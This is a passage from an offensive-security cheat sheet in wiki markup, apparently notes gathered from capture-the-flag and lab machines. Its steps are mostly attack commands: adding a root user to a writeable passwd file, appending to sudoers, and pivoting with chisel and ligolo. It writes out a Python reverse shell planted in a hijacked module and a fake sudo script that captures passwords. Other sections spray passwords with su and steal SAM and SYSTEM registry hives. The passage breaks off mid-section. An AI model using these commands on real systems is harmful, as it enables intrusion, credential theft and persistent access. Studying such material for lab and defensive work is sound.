# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
